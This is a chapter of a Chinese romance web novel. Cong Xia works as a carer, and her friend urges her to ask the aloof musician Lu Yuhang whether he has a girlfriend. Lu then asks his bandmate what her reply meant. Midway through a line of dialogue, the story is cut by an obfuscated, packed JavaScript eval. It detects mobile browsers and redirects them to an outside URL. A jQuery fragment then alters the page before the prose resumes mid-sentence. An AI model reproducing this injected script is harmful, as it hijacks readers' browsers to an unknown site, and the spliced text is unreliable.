赵青提这姑娘,虽然在泡帅哥方面是个呆瓜,但在看帅哥方面,是个一顶一的高手。
那天被褚卓搅乱,她忙于解释,一顿饭吃得很草率,没来得及近距离欣赏大帅比,于是这几天逮着机会就往淙夏家跑。
即使醉翁之意不在酒,她也特别会给自己找借口,翁秀华问起,她笑嘻嘻地说自己来给淙夏做美甲。
每次只做一个,早中晚各一次。
连着做了三天。
第四天的时候淙夏对她竖起右手中指,不是鄙视,是就剩这个没做了。
“你明天准备拿什么借口来?”淙夏有点无奈,“我十个手指头已经被你嚯嚯没了。”
赵青提绞着衣角扭捏状:“不是还有脚指头嘛。”
淙夏:“……”
为了看帅哥真是丧心病狂。
“那我也没看着啊。”赵青提上手去捏淙夏的吐槽脸,搓面团似的揉来揉去,皮肤细滑,手感贼好,她越搓越悲伤,“天生丽质真让人嫉妒,我用高级水乳都比不过你随便用井水洗把脸。”
说着又探头从客厅瞟向那间合拢的卧室门,“你说路昱航天天待屋子里干什么呢?他不出门透气吗?”
经过赵青提的初印象分析,她觉得这哥们属于户外运动型boy,钟爱各类有氧运动,业余生活很丰富的那种,反正怎么也不该是二次元宅男。
但她接连几天往姜家小楼跑,跟人见着面的次数屈指可数。
大多时间出门拿饮料,冰镇可乐或者矿泉水,路过沙发区时目光偶尔会在淙夏身上停留一秒,之后顺带着扫过她,又折返回房间了。
“你不是加了他微信吗?最近聊得怎么样了?”赵青提满脸期待,“约个时间我们一起去海边烧烤呗,你也尽尽地主之谊。”
淙夏仰过脑袋躲开她的魔爪,从茶几上摸过手机丢给她。
“什么意思?”
赵青提看她一眼,上滑解锁。
屏幕还停在微信页面没有返回,一边是淙夏的兔子头像,另一边则是某部古早热血番的动漫角色。
对话框里聊天记录简明扼要。
早上七点半。
哆啦小丛:【路昱航,我准备出门遛狗了,你要一起散散步吗?】
隔几分钟。
对面回:【有事】
哆啦小丛:【[OK]】
中午十一点。
哆啦小丛:【路昱航,奶奶让我去买菜,你想吃冰淇淋吗?】
依旧隔几分钟。
对面回:【不想】
哆啦小丛:【[OK]】
傍晚五点。
也就是刚才。
哆啦小丛:【路昱航,奶奶说今天回来很晚,我带你出去吃吧?】
十分钟过去了。
那边一个句号没发。
“…………”赵青提缓缓把手机熄灭,敬佩地双手递还给淙夏,“太冷漠了,太难撩了,跟他聊上几天芦花岛都要变成哈尔滨了……我决定放弃,这种拽哥我真驾驭不住,我有冷板凳综合恐惧症。”
淙夏笑了笑,从摊开的美甲工具包里找到磨砂挫条,驾轻就熟地开始给自己磨指甲。
抛开日薪的雇主光环加持,淙夏兼职很多,识人很准,在菜市场第一次见到路昱航,就不觉得这人是什么高冷挂的,否则也不会主动搭讪问他要不要坐车。
他更偏向于面对不熟悉的人的自我防御机制吧。
不过这些都跟淙夏没什么关系。
她只用盯着他做好康复训练,必要时把他骗出门,增加点运动量,每天晚上躺在床上美美收钱就行。
“好险成为我crush,六句对话掐断我心动的小火苗。”赵青提跪在凉席上,往前膝行了两步,把立式风扇档位开到最大。
燥热的夏风哗啦涌灌而来,趴在淙夏脚边的骑士一对狗耳朵随风摆动。
“他以后谈了恋爱得是什么样啊,不会对他女朋友也爱答不理吧?”赵青提难以想象那个场面,往回爬时,动作一顿,她反应过来,一把握住淙夏的手臂,“——诶,等等,他会不会已经有女朋友了?不想搭理你是为了跟你避嫌?”
“……啊?”淙夏正要去拿抛光条,闻言茫然地抬起脸,“不会吧?”
赵青提一通百通,越想越觉得很有可能:“怎么不会,他那张脸看着像缺女友的样子吗?”
淙夏思索两秒:“不像。”
“对嘛。”
赵青提说,“你找个时间问问他,万一真有,别被他女朋友误会了。”
-
历时四天,淙夏的十根手指美容工程终于竣工。
由于分成多批次,新兴美甲师赵大小姐又一天一个灵感,淙夏的两只手集齐了法式、猫眼、晕染、渐变四种风格。
除了第一种不太美丽,其余三种也是各有各的丑陋。
傍晚送赵青提出院子门,对方捧着她的手,满眼对艺术品的欣赏。
被欣赏的淙夏则是无比庆幸——还好自己给这家伙看了聊天记录,至少现在脚指头是暂时保住了。
翁秀华打电话过来,让淙夏把晾晒在后院里的葡萄收了,晚上可能会下雨。
葡萄架果子结得太密,吃不完,送人的次数赶不上成熟的速度,眼见着都要烂掉,翁秀华索性这几天全剪摘下来,做成葡萄干。
淙夏挂了电话去厨房洗竹篮,沥干净水,不经意瞥见骑士从后院蹿出来,‘嗖’地路过堂屋跑向门外,嘴里叼着团黑色布料,速度飞快。
淙夏五点二的视力,只能匆匆捕捉到那团黑布上有一串白色的类似英文字母的刺绣。
……什么东西?
疑问在淙夏脑子里一闪而过,她没多想,去后院收了葡萄,顺手尝一颗,甜度爆表。经过路昱航的房间时,想起他还没回自己关于晚饭的微信,于是屈指叩响他的房门。
才敲两下,门从里头拉开。
一整天没见两次面的人斜倚在门框边缘,穿着宽松的白T和工装短裤,架一副黑框眼镜,头发凌乱翘起,蓝牙耳机只戴了一只,正耷拉着眼皮看向她,眼下淡淡青黑色,浑身透出一股子被榨干的懒散。
状态挺累的,但看着还挺帅的。
潦草的帅。
第一次见他戴眼镜,青春男高感简直扑面而来,淙夏被晃了一下眼,对视了会儿才注意到他垂在身侧的手里拎着平板和几张纸。
身后书桌上摆一台笔记本电脑,旁边有乐器和一堆她看不懂的设备。
淙夏回过神,问:“路昱航,你在忙吗?”
路昱航今天无敌忙。
他最近晚上待在院子里做康复训练,结束之后会坐在落地窗边吹吹风。芦花岛的夏日晚夜有着不同于繁华都市的静谧,星子在葡萄藤间闪烁,月亮波光粼粼地荡漾在井水中,风里有栀子花和蔷薇的香味,蝉鸣、虫鸣、墙头的小猫叫声,树叶海浪似的窸窣碎响。
在他耳朵里汇出一场朦胧的灵感。
直至昨夜凌晨,路昱航创作欲望达到高峰,精神奕奕地从床上爬起来,不想扰民,塞了耳机把暂时想到的旋律先用音符潦草写在纸上。
天亮之后拿出吉他,拨动着和弦一点点修改,又用手机录了十几遍,删删改改,开着电脑找陈向维讨论贝斯的beat要不要加在这里。
一般来说,路昱航作曲的速度取决于灵感的饱和度,有的两三天,有的半个月,或者忙碌整个月最后旋律废掉的情况也不在少数。
这次灵感爆棚,创作周期大大缩短,本来上午就该完工,但卧室隔音差,空间不密闭,又没有地毯之类的降低声音反射,三十多度的天气如果关掉噪音空调,人直接热废……以上种种缘由,导致录音效果不尽人意,拖到今天傍晚七点,他才把初版demo发到乐队群聊里。
徐霁宁听过之后表示明后天会努力把词填出来。
而淙夏敲门的时候,他刚关掉Cubase,歇了没有五分钟。
“已经忙完了。”
路昱航一下午没喝水,嗓音透着涩涩的哑。说完这句,他清一清嗓子,以为淙夏要进来,于是侧开身子给她让了条路,“有事?”
他转身把平板放去桌上,余光注意到淙夏脸上的笑容好像凝固住了,人变得格外沉默。
而且时不时往他背上瞄来一眼,弄得他如芒在背,莫名其妙有了点包袱。
路昱航装作不在意,低头迅速检查一遍自己的衣服,没穿反啊。
再抬头时,发现淙夏依旧直勾勾地望着他背后,眼神中含着那么一丝生无可恋。
“路昱航。”淙夏幽幽开口,“你这件T恤多少钱啊?”
路昱航:“?”
“算了,没事。”她问完又自顾自放弃,抱着一篮子葡萄干,有气无力地往门外飘,飘到门口时想起什么,再次回头,“路昱航,你有女朋友吗?”
路昱航:“??”
她每次和他说话,都要在句子的开头连名带姓地叫他一遍。
唤狗似的。
这个问题让路昱航略微警惕地站直了一点身子:“……没有。”
“哦。”淙夏朝他挤出一个微笑,招财猫式挥手道别,关门离开。
徒留给路昱航满头黑线。
不是。
‘哦’什么?
这家伙进来一趟到底干嘛的?
“你卧室就是这妹妹的?”
电脑视频依旧开着,那端的陈向维目睹全程,抱着贝斯,露出一副狐狸笑。
路昱航戴了耳机,陈向维听不见两人的聊天内容,但有几秒钟看清了淙夏的脸,他吊儿郎当地点评,“长得比乔薇漂亮啊。”
路昱航抽开椅子坐下,闻言“啧”一声,眉头微微皱起。
知道这少爷不太喜欢别人拿他身边的女生当做谈资评价比较,陈向维立刻举手做投降状:“抱歉,我嘴快了……乔薇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526035|203505||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
最近还在给你发消息吗?”
乔薇是关皎皎闺蜜,和路昱航他们一样读的颐云实验高中,不过进的是收建校费的艺术班。
关皎皎和耿靳思在高二确定关系之后,乔薇也顺带着踏进他们这个小圈子,并对路昱航展开了堪称疯狂的追求,还在他生日那天送他一串玉石手链。
路昱航压根不想谈恋爱,他那段时间被迫成为耿靳思和关皎皎分分合合paly的一环,人早麻了,对恋爱这玩意儿产生了极大的抗拒心理。
所以乔薇的礼物他连盒子都没拆。
隔天乔薇去体育馆堵他,上来就是一通发泄式的质问,问着问着把自己说哭了。
路昱航没打过瘾,坐椅子上开饮料,眼睛盯着球场,心思全在球上,听见她哭,才分了点注意力给她。
“你那份礼物我真的很用心在准备。”乔薇睫毛湿漉漉,一张脸梨花带雨,“手串不是买的,是我自己磨的,我手指头上全是水泡。”
她把手伸到他面前,白嫩的掌心贴着两片创可贴。
路昱航喝着水,喉结滚动,只看一眼就收回视线。刚运动过,他头发潮湿地往后拢着,皮肤微微泛红,有汗珠顺着脖颈往下滑进锁骨窝,整个人野性蓬勃,望向乔薇的那一秒,目光似乎也沾上了滚烫热度,烫得乔薇心底砰砰震动,可他语气却是无动于衷的散漫冷淡。
“关我什么事?我让你为我这么做了?”少年单手拧上饮料瓶盖,人松松散散地往后靠上椅背,眼帘不抬,一字一句直白且扎心。
“你喜欢我我就一定得喜欢你?我又不搞慈善,同学,我很忙的。”
特绝情,特混蛋。
乔薇难以置信。
她在颐云几所重高里算小有名气的美女,从小到大向来被男生们捧着惯着,什么时候让人讲过这么难听的话,一时羞怒挤走理智占领高地,转头给路昱航挂去校园表白墙。
底下评论区抨击他的话术堆了几百条,路昱航一条不看。
十七八岁的青春期,爱炽热,恨也浓烈,有人喜欢他就有人讨厌他。
路昱航势必要在地球Online的游戏里做主角,七八十岁也要背着一把吉他成为浪迹天涯的高手,所以没有时间去为NPC的负面情绪买单。
无聊透顶,他才懒得鸟。
过两个星期乔薇再次找上门,把路昱航拦在社团活动训练室,哽咽着问:“我们现在到底什么关系?”
路昱航刚彩排结束,这回真有点烦了,说路人,再问就是仇人。
乔薇彻底死心。
这场追求也总算消停。
……
“关皎皎这两天还在问你怎么样呢。”陈向维看得门儿清,“八成是乔薇让她打听的。”
路昱航两指间慢悠悠地转着铅笔,低头看谱子,对这个话题没表现出一点兴趣,随口问了句:“耿靳思他俩又复合了?”
“分不了两天,你知道的。不过这次有点棘手,有个男的趁虚而入加了关皎皎微信,我们思碰上情敌了。”陈向维揉着后脖颈,哂笑一声。
大脑自动捕捉到某三个字,路昱航瞥一下倒扣在桌面上的手机,转笔的速度逐渐减慢,三四秒后,他摘了眼镜,咔哒把笔撂去一边,凑近电脑屏幕:“……问你个事儿。”
“嗯?”
“如果一女生突然问你有没有女朋友,你说没有,她回了个哦,就不讲话了……什么意思?”
陈向维活动肩颈的动作停住,一双狐狸眼狡黠地弯起:“是你回微信的那个女生吗?”
乐队一帮人都清楚,他们队长一旦沉浸在自己的创作世界中,除了一日三餐必须准点吃,其余时间基本处于失联状态,不会跟任何人交流。
在他把demo发群里之前,笔电虽然开了一整天,视频两端也是安静地各忙各的,没人闲聊。
于是中间有两次时间节点,这人从沉浸的状态中抽离,捞过手机回复消息的动作,让陈向维格外注意。
即便只浪费一两秒功夫,对向来秉持着‘恋爱狗都不谈’的寡王路少爷来说,已经显得很有猫腻了。
路昱航装作没听见,不搭理他这茬:“你先回答。”
“还能什么意思?”陈向维从小学开始早恋,谈过的女朋友比路昱航写过的乐谱都多,颇有经验地下了定义,“钓系,绝对的钓系。”
钓系?
这有点涉及到路昱航的知识盲区了,他支着椅子往后滑,长腿搭在桌沿上,后脑勺仰抵着椅背,盯了会儿天花板,云朵灯一晃一晃,他辨别不太出来,只感觉心跳有点快。
……好奇怪。
他明明不想谈恋爱。
“但,”路昱航抿了抿唇,“但也可能是单纯好奇吧。”
“看她后续行动咯。如果她问完之后就此打住,归为好奇,如果她突然说想跟你交朋友——”
停顿一下,陈向维屈指一弹镜头,“没跑了兄弟,她要泡你。”